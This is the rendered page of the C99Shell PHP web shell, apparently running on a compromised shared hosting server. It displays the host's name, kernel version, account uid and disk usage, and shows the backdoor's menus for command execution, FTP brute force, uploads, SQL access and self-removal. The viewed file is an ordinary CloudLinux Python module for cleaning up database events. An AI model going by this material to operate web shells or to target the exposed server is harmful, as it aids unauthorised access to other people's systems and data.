!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/cloudlinux/venv/lib/python3.11/site-packages/lvestats/plugins/generic/burster/storage/   drwxr-xr-x
Free 293.31 GB of 429.69 GB (68.26%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     cleanup.py (2.04 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
# coding=utf-8
#
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2023 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT
import contextlib
import time
from datetime import timedelta
from typing import Generator
from threading import Event

import sqlalchemy as sa
import sqlalchemy.exc

from lvestats.orm import bursting_events_table

from ..common import Timestamp
from .._logs import logger
from .base import thread_running


def cleanup_old_events(
    engine: sa.engine.Engine,
    server_id: str,
    cutoff: Timestamp,
) -> None:
    stmt = sa.delete(bursting_events_table).where(sa.and_(
        bursting_events_table.c.timestamp <= cutoff,
        bursting_events_table.c.server_id == server_id,
    ))
    engine.execute(stmt)


@contextlib.contextmanager
def cleanup_running(
    engine: sa.engine.Engine,
    server_id: str,
    cleanup_interval: timedelta,
    history_window: timedelta,
    run_period: timedelta = timedelta(seconds=5),
    fail_fast: bool = True,
) -> Generator[None, None, None]:
    def main(terminate: Event):
        # FIXME(vlebedev): It will take  ~`dump_period` in the worst case for thread to respond to termination request.
        #                  Loop more frequently?
        prev_db_write_time = 0.0
        while not terminate.is_set():
            now = time.time()
            if (now - prev_db_write_time) > cleanup_interval.total_seconds():
                cutoff = Timestamp(int(now - history_window.total_seconds()))
                try:
                    cleanup_old_events(engine, server_id, cutoff)
                except sqlalchemy.exc.DBAPIError as e:
                    if fail_fast:
                        raise e
                    logger.error('Failed to cleanup bursting events from DB!', exc_info=e)
                else:
                    prev_db_write_time = now
            time.sleep(run_period.total_seconds())
        logger.debug('Stopping events cleanup thread.')

    with thread_running('bursting-cleanup', main):
        yield

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0046 ]--